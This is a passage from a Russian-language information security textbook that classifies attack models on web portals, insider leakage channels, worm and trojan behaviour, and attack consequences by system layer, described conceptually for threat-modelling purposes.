Учитывая тот факт, что на публичных Web-порталах, как правило, хранится открытая информация, доступная любому пользователю сети Интернет, то атаки злоумышленников могут быть направлены на нарушение конфиденциальности и целостности ресурсов портала. Исходя из приведённой выше структуры Web-портала, атаки нарушителей могут быть направлены на пограничные маршрутизаторы, публичные Web-серверы, серверы приложений и баз данных, а также DNS-серверы. Различные варианты реализации атак на эти компоненты Web-портала рассмотрены в табл. 1.4.
Таблица 1.4
Возможные варианты атак на компоненты Web-портала
№ Компонент Web-портала Описание возможных атак на Web-портал
1 Пограничный маршрутизатор атаки, направленные на нарушение работоспособности маршрутизатора посредством использования уязвимостей реализации стека TCP/IP. В результате реализации атак данного типа блокируется доступ пользователей к ресурсам Web-портала;
атаки, направленные на несанкционированное изменение таблиц маршрутизации с целью блокирования корректного перенаправления пакетов данных Web-серверу портала
2 DNS-сервер атаки, направленные на нарушение целостности таблиц соответствия символьных имён и IP-адресов Web-сервера. В случае успешного проведения атаки пользователи будут перенаправляться на ложный сервер и не смогут получить доступ к ресурсам портала
атаки, направленные на нарушение работоспособности DNS-сервера посредством использования уязвимостей типа «buffer overflow»
3 Web-сервер распределённые атаки типа «отказ в обслуживании», направленные на блокирование доступа к серверу посредством формирования большого количества запросов на установление TCP-соединения из различных источников
атаки, направленные на искажение документов, хранящихся на сервере при помощи вредоносного кода, запущенного посредством использования уязвимостей типа «format string»
4 Сервер СУБД атаки, направленные на искажение содержимого баз данных портала посредством использования уязвимостей типа «SQL Injection»
атаки, направленные на нарушение работоспособности сервера СУБД посредством использования уязвимостей типа «buffer overflow»
Модель атаки, направленной на утечку конфиденциальной информации
Информационные атаки, направленные на утечку конфиденциальной информации, могут быть разделены на два типа – внешние и внутренние. Источник внешних информационных атак находится за пределами АС, поэтому для их реализации злоумышленник должен сначала получить несанкционированный доступ к одному из внутренних ресурсов системы. Для этого, как правило, первоначально проводится атака на сетевые службы, доступные из сети Интернет, такие как Web-сервисы, почтовые службы, файловые сервисы и др. В случае успешной атаки на эти ресурсы они могут быть использованы в качестве плацдарма для проведения атаки изнутри АС.
Однако наиболее опасными являются внутренние атаки, в которых в качестве потенциальных злоумышленников часто выступают сотрудники компании. При этом такие сотрудники имеют легальный доступ к конфиденциальной информации, который им необходим для выполнения своих функциональных обязанностей. Целью такого рода нарушителей является передача информации за пределы АС с целью её последующего несанкционированного использования – продажи, опубликования её в открытом доступе и т.д. В этом случае можно выделить следующие возможные каналы утечки конфиденциальной информации (рис. 1.16):
• несанкционированное копирование конфиденциальной информации на внешние носители и вынос её за пределы контролируемой территории предприятия. Примерами таких носителей являются флоппи-диски, компакт-диски CD-ROM, Flash-диски и др.;
• вывод на печать конфиденциальной информации и вынос распечатанных документов за пределы контролируемой территории. Необходимо отметить, что в данном случае могут использоваться как локальные принтеры, которые непосредственно подключены к компьютеру злоумышленника, так и удалённые, взаимодействие с которыми осуществляется по сети;
• несанкционированная передача конфиденциальной информации по сети на внешние серверы, расположенные вне контролируемой территории предприятия. Так, например, злоумышленник может передать конфиденциальную информацию на внешние почтовые или файловые серверы сети Интернет, а затем загрузить её оттуда, находясь в дома или в любом другом месте. Для передачи информации нарушитель может использовать протоколы SMTP, HTTP, FTP или любой другой протокол в зависимости от настроек фильтрации исходящих пакетов данных, применяемых в АС. При этом с целью маскирования своих действий нарушитель может предварительно зашифровать отправляемую информацию или передать её под видом стандартных графических или видео-файлов при помощи методов стеганографии;
• хищение носителей, содержащих конфиденциальную информацию – жёстких дисков, магнитных лент, компакт-дисков CD-ROM и др.
Рис. 1.16. Каналы утечки конфиденциальной информации
Модель вирусной сетевой атаки на внутренние информационные ресурсы АС
Информационный вирус представляет собой специально созданный программный код, способный самостоятельно распространяться в компьютерной среде. В настоящее время можно выделить следующие типы вирусов: файловые и загрузочные вирусы, «сетевые черви», бестелесные вирусы, а также комбинированный тип вирусов. В данном разделе рассматривается лишь одна из разновидностей вирусов – «сетевые черви», которые распространяются в системе посредством использования имеющихся уязвимостей программного обеспечения. Вот лишь несколько примеров компьютерных вирусов данного типа, которые основываются на уязвимостях типа «buffer overflow»:
«W32.Blaster.Worm», который базируется на уязвимости «buffer overflow» в службе DCOM RPC ОС Windows 2000/XP;
«W32.Slammer.Worm», распространение которого по сети осуществляется на основе переполнения буфера в одной из подпрограмм сервера СУБД Microsoft SQL Server 2000;
«W32.Sasser.Worm», который инфицирует хосты путём использования уязвимости «buffer overflow», содержащейся в системной службе LSASS.
Источники вирусных угроз безопасности могут находиться как внутри, так и вовне АС. Внутренние угрозы связаны с действиями пользователей и персонала, обслуживающего АС. Внешние угрозы связаны с вирусными атаками из сети Интернет или других сетей связи общего пользования, к которым подключена АС (см. рис 1.17).
Рис. 1.17. Возможные источники инфицирования узлов АС
Инфицирование АС вирусами может осуществляться посредством локального или сетевого взаимодействия с узлами АС. Локальное взаимодействие предполагает использование съёмных носителей, таких как диски CD-ROM или DVD-ROM, floppy- и zip-диски, USB-диски, а также карты дополнительной памяти, которые применяются в мобильных устройствах, таких как PDA, смартфоны, фотоаппараты и т.д. Инфицирование АС в этом случае может осуществляться посредством загрузки хоста с заражённого носителя или запуска заражённого файла. При этом съёмные носители могут подключаться к хостам АС при помощи внешних портов типа USB, FireWire, COM, LPT и др.
Для инфицирования АС через сетевое взаимодействие может быть использован один из следующих базовых методов:
• электронная почта. В соответствии с результатами последних исследований ассоциации ICSA электронная почта является основным каналом проникновения вирусов в АС. В большинстве случае рассылка вируса осуществляется по тем адресам, которые входят в состав адресных книг, хранящихся на заражённых хостах. При этом для передачи инфицированных почтовых сообщений вирусы могут использовать как штатные почтовые клиенты, установленные на хостах, так и собственное клиентское ПО, интегрированное в код вируса. Инфицирование вирусами может осуществляться по любым протоколам, обеспечивающим возможность передачи почтовых сообщений – SMTP, POP3, IMAP и др.;
• пиринговые сети P2P (Peer-To-Peer), которые представляют собой файлообменные сети, для подключения к которым должно использоваться специализированное ПО. Примерами таких сетей являются «eDonkey», «DirectConnet», «BitTorrent» и «Kazaa». За последние несколько лет было зафиксировано несколько видов вирусов, которые распространяли инфицированные файлы через сети данного типа;
• сетевые каталоги и файлы, в которых хранится информация общего доступа. Данный метод инфицирования АС предполагает удалённое заражение файлов, расположенных в общедоступных каталогах. Такие каталоги также могут быть использованы для копирования в них инфицированных файлов. Доступ вирусов к сетевым каталогам и файлам может осуществляться по таким протоколам как SMB, NFS, FTP и др.;
• система обмена мгновенными сообщениями (instant messaging). На сегодняшний день большинство систем данного типа, такие как ICQ и Windows Messenger позволяют обмениваться не только текстовыми сообщениями, но и файлами. Эта функциональная возможность может быть использована вирусами для своего распространения среди пользователей, которые применяют на своих рабочих станциях системы обмена сообщениями;
• протоколы доступа к Интернет-ресурсам. Инфицированные файлы могут попасть в АС из сети Интернет по таким протоколам как HTTP, FTP, NNTP и др. При этом заражение хоста через протокол HTTP может осуществляться не только посредством передачи инфицированных файлов, но и ActiveX-объектов, Java-аплетов, а также JavaScript/VBScript-сценариев;
• протоколы доступа к внутренним корпоративным информационным ресурсам, такие как DCOM, CORBA, TDS, RPC и др.
Вирусные атаки могут быть направлены на рабочие станции пользователей, серверы, коммуникационное оборудование и каналы связи. Как правило, сетевые вирусные атаки приводят к следующим последствиям:
• нарушение работоспособности инфицированных хостов;
• нарушение работоспособности определённых сетевых сервисов, запущенных на инфицированных хостах;
• нарушение работоспособности каналов связи в результате генерации большого объёма трафика.
Модель атаки на рабочие станции пользователей, работающих Интернет-ресурсами
Информационные атаки на рабочие станции пользователей, как правило, направлены на получение несанкционированного доступа к информации, хранящейся на этих станциях. Другой распространённой целью злоумышленников является получение полного контроля над компьютером пользователя с целью его последующего использования для выполнения несанкционированных действий от имени пользователей. Для реализации этих атак злоумышленники могут использовать имеющиеся уязвимости клиентского ПО, установленного на рабочих станциях пользователей. Примером программных продуктов, которые могут быть подвержены атакам, являются Интернет-браузеры, почтовые клиенты, FTP-клиенты для загрузки файлов и др. Для успешного проведения атаки к клиентской программе должен поступить вредоносный код, предназначенный для использования имеющейся в ней уязвимости. Для этого нарушитель может сделать так, чтобы пользователь при помощи Интернет-браузера обратился к ресурсу определённого Web-сайта, с которого автоматически на компьютер пользователя будет загружен вредоносный код. Ещё одним способом проведения атаки является посылка пользователю электронного письма, содержащего вредоносный код, который автоматически будет запущен при просмотре почтового сообщения.
Ниже приводится список наиболее распространённых уязвимостей Интернет-браузеров, на основе которых злоумышленники могут реализовывать информационные атаки:
1). Уязвимости типа «buffer overflow», при помощи которых нарушитель может запустить на стороне рабочей станции произвольный вредоносный код.
2). Неправильная конфигурация Интернет-браузера, позволяющая загружать вредоносные объекты ActiveX. ActiveX-объекты представляют собой полноценные программные приложения, имеющие высокие привилегии работы в ОС.
3). Уязвимости в реализации виртуальной машины Java, интегрированной в Интернет-браузеры. Данную уязвимость могут использовать Java-аплеты, являющиеся специальными программами, которые выполняются в среде браузера. В результате использования таких уязвимости, может быть нарушена работоспособность браузера или собрана информация о компьютере, на котором запущен Java-аплет.
4). Ошибки в ПО браузера, позволяющие получать несанкционированный доступ к файловым ресурсам рабочих станций. Уязвимости данного типа могут быть использованы при помощи сценариев JavaScript/VBScript, запускаемых при доступе пользователя к ресурсам Web-сайта злоумышленника.
5). Ошибки в ПО браузера, которые могут использоваться злоумышленниками для подделки Web-сайтов. На основе уязвимости данного типа может быть проведена атака, в результате которой пользователь будет перенаправлен на Web-сайт нарушителя, в то время как в адресной строке браузера будет отображаться имя легального информационного ресурса.
Рассмотренные уязвимости характерны для большинства современных Интернет-браузеров, включая Internet Explorer, Mozilla FireFox и Opera, для которых не установлены соответствующие модули обновления программного обеспечения.
1.3.3. Стадия дальнейшего развития атаки
На последней стадии проведения информационной атаки злоумышленник может совершать следующие основные группы действий:
установка вредоносного ПО на атакованный узел с целью получения удалённого канала управления;
использование атакованного узла в качестве плацдарма для проведения атаки на другие узлы АС;
скрытие своих следов присутствия в системе.
После того, как злоумышленник смог получить несанкционированный доступ к ресурсам узла АС посредством использования различных уязвимостей он может установить на этот узел вредоносное программное обеспечение типа «троянский конь» (Trojan Horses). В настоящее время можно выделить два основных вида программ типа «Троянский конь»:
• программы типа RAT (Remote Access Trojans) или «Backdoor», предоставляющие злоумышленнику возможность удалённого несанкционированного доступа к хостам АС. Примерами таких программ являются «BackOrifice», «SubSeven», «Cafeene» и др.
• программы типа «Rootkits», которые представляют собой набор специализированных программных средств, позволяющих нарушителю получить удалённый доступ к хостам АС, а также выполнять действия по перехвату клавиатурного ввода, изменению журналов регистрации, подмены установленных приложений и т.д.
Как правило, троянские программы маскируются под штатное ПО операционной системы, что осложняет процесс их выявления и удаления из АС. Программы данного класса предполагают наличие удалённого канала управления, при помощи которого нарушитель может выполнять команды на хостах. Каналы управления троянскими программами могут быть двух типов:
1) канал, в котором инициатором соединения является узел злоумышленника. Такой метод управления предполагает запуск на инфицированном компьютере сетевой службы, прослушивающей определённый TCP- или UDP-порт. При возникновении необходимости в передаче команды управления программа нарушителя устанавливает соединение с хостом и посылает заданную информацию. Характерной особенностью каналов управления данного типа является использование нестандартных номеров портов и протоколов, по которым передаются команды программам типа «Троянский конь»;
2) канал, в рамках которого команды передаются по инициативе троянской программы. При использовании такого метода управления троянская программа с заданной периодичностью подключается к внешнему ресурсу и получает от него определённые команды. Как правило, передача команд управления в этом случае осуществляется по стандартным протоколам сети Интернет, таким как SMTP, POP3 или HTTP. Обнаружение несанкционированных каналов управления данного типа осложнено тем, что в процессе их работы не используется специфических протоколов или номеров портов.
Кроме троянских программ нарушитель может также установить на рабочую станцию пользователя другой вид вредоносного ПО – «spyware» или «adware». Программы типа «spyware» предназначены для сбора определённой информации о работе пользователя. Примером таких данных может служить: список Web-сайтов, посещаемых пользователем, список программ, установленных на рабочей станции пользователя, содержимое сообщений электронной почты и др. Собранная информация перенаправляется программами «spyware» на заранее определённые адреса в сети Интернет. Вредоносное ПО данного типа может являться потенциальным каналом утечки конфиденциальной информации из АС.
Основная функциональная задача вредоносных программ класса «adware» заключается в отображении рекламной информации на рабочих станциях пользователей. Для этого, как правило, эти программы показывают на экране пользователя рекламные баннеры, содержащие информацию о тех или иных товарах и услугах. В большинстве случаев программы «adware» распространяются вместе с другим ПО, которое устанавливается на узлы АС. Несмотря на то, что программы типа «adware» не представляют непосредственную угрозу для конфиденциальности или целостности информационных ресурсов АС их работа может приводить к нарушению доступности вследствие несанкционированного использования вычислительных ресурсов рабочих станций. Кроме того, программы «adware» могут отвлекать пользователей от выполнения своих служебных обязанностей из-за необходимости выполнять действия, связанные с закрытием диалоговых окон с рекламной информацией.
На основе удалённого канала управления, установленного при помощи программ типа «троянский конь», злоумышленники могут использовать скомпрометированные узлы в качестве стартовой площадки для проведения других атак. При этом обеспечивается анонимность атаки, поскольку реализуется она фактически от имени чужих узлов. Вот лишь некоторые примеры действий, которые может совершать нарушитель при помощи узлов:
• рассылка спама. Для этого на контролируемые злоумышленником узлы устанавливается ПО почтового сервера, при помощи которого осуществляется массовая рассылка почтовой корреспонденции;
• проведения распределённых атак типа «отказ в обслуживании». В этом случае по команде злоумышленника узлы, находящиеся под его контролем, могут начать одновременную атаку на указанный хост. Примером такой атаки может являться генерация большого количества запросов на установление соединения, в результате которых может быть заблокирован доступ к атакованному хосту;
• проведение сканирования подсети, в которой расположен скомпрометированный узел. Для этого выполнятся действия, относящиеся к стадии рекогносцировки жизненного цикла атаки.
Для снижения риска обнаружения информационной атаки злоумышленник может применять различные методы скрытия следов своего присутствия в АС. Для этого, в первую очередь, осуществляется удаление записей журналов регистрации, которые могут указывать на признаки проведения атаки. При этом удаляется информация не только из системных журналов, таких как SysLog или EventLog, но и журналов прикладного ПО, на которое совершалась атака. Так, например, если была проведена атака на Web-сервер Microsoft IIS, то данные о действиях нарушителя могут быть сохранены в журнале этого сервера.
Помимо очистки журналов аудита нарушителем могут совершаться действия и по маскированию вредоносного ПО, которое было установлено в системе. Для этого файлы вредоносных программ могут заменять собой файлы компонентов ОС. В данном случае может не заметить изменений, поскольку не изменится состав файлов, хранящихся на компьютере.
1.4. Последствия информационных атак
Последствия, к которым могут привести информационные атаки, могут по-разному рассматриваться исходя из той или иной ситуации. Так, например, одно и тоже последствие атаки может сводиться к искажению системного файла на сервере для системного администратора, в то время как для руководителя компании – приостановкой одного из важнейших бизнес-процессов предприятия. Для систематизации различных критерий, при помощи которых можно описывать последствия атак, была разработана их классификация, которая показана на рис. 1.18. Основным критерием здесь является свойство информации, к нарушению которого может привести успешная атака на ресурсы АС. Иными словами любая информационная атака может, в конечном счете, привести к нарушению конфиденциальности, целостности или доступности информационных ресурсов АС.
Рис. 1.18. Классификация последствий атак на АС
Исходя из предположения о том, что характер ущерба, который наносит атака АС, взаимосвязан с определённым вариантом последствий, был проведён сопоставительный анализ этих параметров, позволивший сформулировать следующие основные типы ущерба:
• моральный и материальный (финансовый) ущерб деловой репутации организации;
• моральный или материальный ущерб, связанный с разглашением персональных данных сотрудников и клиентов организации;
• материальный ущерб от разглашения защищаемой информации;
• материальный ущерб от необходимости восстановления нарушенных защищаемых информационных ресурсов;
• материальный ущерб от невозможности выполнения организацией взятых на себя обязательств перед третьей стороной;
• моральный и материальный ущерб от дезорганизации деятельности компании.
Последствия атак можно классифицировать и с точки зрения степени неустранимости (фатальности) по следующей шкале:
• неустранимые последствия - результаты атаки, которые могут привести к полному разрушению информации, и как следствие к невосполнимым потерям и исключению возможности доступа к защищаемым информационным ресурсам;
• частично устранимые последствия - результаты атаки, которые могут привести к частичному разрушению информации и, как следствие, к значительным затратам на восстановление или увеличению времени доступа к защищаемым ресурсам;
• устранимые последствия - результаты атаки, которые могут привести к частичному разрушению информации, не требующего больших затрат на его восстановление и, практически не влияющего на увеличение времени доступа к защищаемым информационным ресурсам.
Информационные атаки также могут привести к прямой или косвенной компрометации пользователей АС. Последствия данного типа могут иметь место в том случае, если нарушитель сможет выполнить действия от имени одного из легальных пользователей, зарегистрированных в АС. Так, например, информационная атака может быть направлена на рассылку почтовых сообщений или проведение финансовой транзакции от имени легальных пользователей системы.
Последствия информационных атак могут воздействовать на аппаратное, общесистемное или прикладное программное обеспечение, а также на информацию, которая хранится в АС. Так, например, воздействие на аппаратное обеспечение может быть направлено на несанкционированное изменение памяти микросхемы BIOS, расположенной на материнской плате инфицированного компьютера. В результате такой атаки может быть изменён пароль доступа к настройкам BIOS или полностью искажено содержимое памяти BIOS, что приведёт к блокированию возможности загрузки компьютера. Восстановление работоспособности хоста в этом случае может потребовать перепрограммирования памяти BIOS.
В процессе воздействия на общесистемное и прикладное программное обеспечение информационные атаки могут привести к модификации компонентов операционных систем, а также тех программ, которые установлены. Для ликвидации последствий этого типа необходимо провести восстановление отдельных файлов или переустановку инфицированных программ.
Воздействие атак на информационном уровне направлено на объекты данных, которые обрабатываются общесистемным и прикладным ПО АС. Примерами таких объектов могут являться файлы, таблицы баз данных, хранилища электронной почты, адресные книги пользователей и др.
Примеры уязвимостей и атак, приводящих к нарушению конфиденциальности, целостности или доступности информации по отношению к различным уровням структурной модели АС, приведены в табл. 1.5.
Таблица 1.5
Сводная таблица примеров уязвимостей, информационных атак и их последствий по отношению к различным уровням модели АС
Уровень АС, на котором реализуется атака Последствия информационных атак
Нарушение конфиденциальности информации Нарушение целостности информации Нарушение доступности информации
Уязвимость Атака Уязвимость Атака Уязвимость Атака
У
Р
О
В
Е
Н
Ь
О
Б
Е
С
П
Е
Ч
Е
Н
И
Я
А
С
Уровень аппаратного обеспечения АС Отсутствие средств контроля носителей информации Хищение носителей информации Отсутствие средств контроля целостности на аппаратном уровне Несанкционирован-ная модификация настроек аппаратного обеспечения Отсутствие средств контроля и восста-новления работос-пособности аппара-тного обеспечения Отказ и вывод из строя элементов аппаратного обеспечения
Отсутствие средств контроля подключений к аппаратному обеспечению Несанкционирован-ное подключение к аппаратному обес-печению АС и получение НСД к его настройкам Отсутствие средств контроля целостности аппаратного уровня Несанкционирован-ное уничтожение конфигурационных параметров аппаратного обеспечения Отсутствие средств контроля доступа к оборудованию АС Преднамеренная перегрузка элементов системы
Уровень общесистемного программного обеспечения АС Отсутствие средств защиты от НСД к файловой системе узлов АС Получение НСД к служебной информации о файловой системе узлов АС Отсутствие средств контроля целостности общесистемного ПО Несанкционирован-ное внедрение программных «закладок» в ОС узлов АС Отсутствие средств контроля и восстановления работоспособности общесистемного обеспечения Нарушение работоспо-собности компонентов общесистемного ПО, включая компоненты распределения и управ-ления памятью, компо-ненты управления сис-темными процессами, устройствами, файловой системой и др.
Отсутствие крипто-графических средств защиты от НСД к конфигурационным файлам ОС узлов АС Получение НСД к конфигурационным файлам компонентов ОС узлов АС Наличие уязвимости типа «buffer overflow» Использование имеющейся уязвимости для искажения програм-мных модулей ОС
Уровень прикладного программного обеспечения АС Отсутствие средств выявления вредоносного ПО, присутствующего в АС Получение НСД к информации путём использования программ типа «Троянский конь», внедрённых в прикладное ПО Отсутствие средств контроля целостности конфигурацион-ных файлов узлов АС Несанкционирован-ное искажение содержимого конфигурационных файлов прикладного ПО Наличие ошибок в прикладном ПО, допускающих возможность реализации атак типа «отказ в обслуживании» Нарушение работоспособности компонентов прикладного ПО
Отсутствие средств защиты от несанкционирован-ного копирования прикладного ПО Несанкционирован-ное копирование прикладного ПО Наличие уязвимости «SQL Injection» Искажение содержимого СУБД на основе имеющейся уязвимости Отсутствие средств аутентификации пользователей при доступе к прикладному ПО
Получение НСД к управлению функциями прикладного ПО с целью нарушения его работоспособности
Информационный уровень АС Отсутствие средств криптографической защиты информации, хранимой и обрабаты-ваемой на узлах АС Получение НСД к информации, хранимой и обрабатываемой на узлах АС Отсутствие средств контроля целостности информации Несанкционирован-ное искажение информации, храни-мой и обрабатывае-мой на узлах АС Отсутствие средств защиты от НСД к информации Несанкционированное уничтожение инфор-мации, хранимой и обра-батываемой на узлах АС
У
Р
О
В
Е
Н
Ь
С
Е
Т
Е
В
О
Г
О
В
З
А
И
М
О
Д
Е
Й
С
Т
В
И
Я Прикладной уровень Отсутствие средств обеспечения конфиденциальности заголовков и полей данных пакетов протоколов прикладного уровня Получение НСД к содержимому заголовков и полей данных пакетов протоколов прикладного уровня Отсутствие средств контроля целостности пакетов на прикладном уровне Несанкционирован-ное искажение полей данных пакетов на прикладном уровне с целью навязывания ложной информации Отсутствие средств аутентификации пользователей при удалённом доступе к информации Сетевые атаки, направленные на получение НСД узлу АС, с целью нарушения его работоспособности
Транспортный уровень Отсутствие средств аутентификации субъектов TCP-соединения Несанкционирован-ная подмена одного из субъектов TCP-соединения с целью получения НСД к передаваемым TCP-сегментам Отсутствие средств контроля целостности TCP-сегментов Несанкционирован-ное искажение TCP-сегмента с целью навязывания ложной информации Отсутствие средств межсетевого экранирования и выявления сетевых атак Атаки типа «WinNuke», направленные на нарушение работоспособности узла АС
Сетевой уровень Отсутствие средств обеспечения конфиденциальности заголовков и полей данных IP-дейтаграмм Получение НСД к содержимому заголовков и полей данных IP-дейтаграмм Отсутствие средств контроля целостности IP-дейтаграмм Несанкционирован-ное искажение полей данных IP-дейтаграмм с целью ухудшения скорости передачи данных Отсутствие средств межсетевого экранирования и средств анализа защищённости Атаки типа «Land», направленные на нарушение работоспособности узла АС
Канальный уровень Отсутствие средств выявления сетевых атак на канальном уровне Несанкционирован-ное изменение мар-шрутов передачи информации в АС с целью получения НСД к пакетам дан-ных, проходящих че-рез узел нарушителя Отсутствие средств выявления сетевых атак на канальном уровне Несанкционирован-ное изменение маршрутов передачи информации в АС с целью искажения пакетов данных, проходящих через узел нарушителя Отсутствие средств выявления сетевых атак на канальном уровне Несанкционированное изменение маршрутов передачи информации в АС с целью блокирова-ния процесса передачи пакетов данных
Физический уровень Отсутствие средств контроля подключения к каналам связи АС Несанкционированная установка оборудо-вания в каналы связи и получение НСД к передаваемой информации Отсутствие средств контроля подключения к каналам связи АС Несанкционированная установка оборудо-вания в каналы связи и нарушение целост-ности передаваемой информации Отсутствие средств контроля подключения к каналам связи АС Несанкционированная установка оборудования в каналы связи и задер-жка или уничтожение передаваемых пакетов данных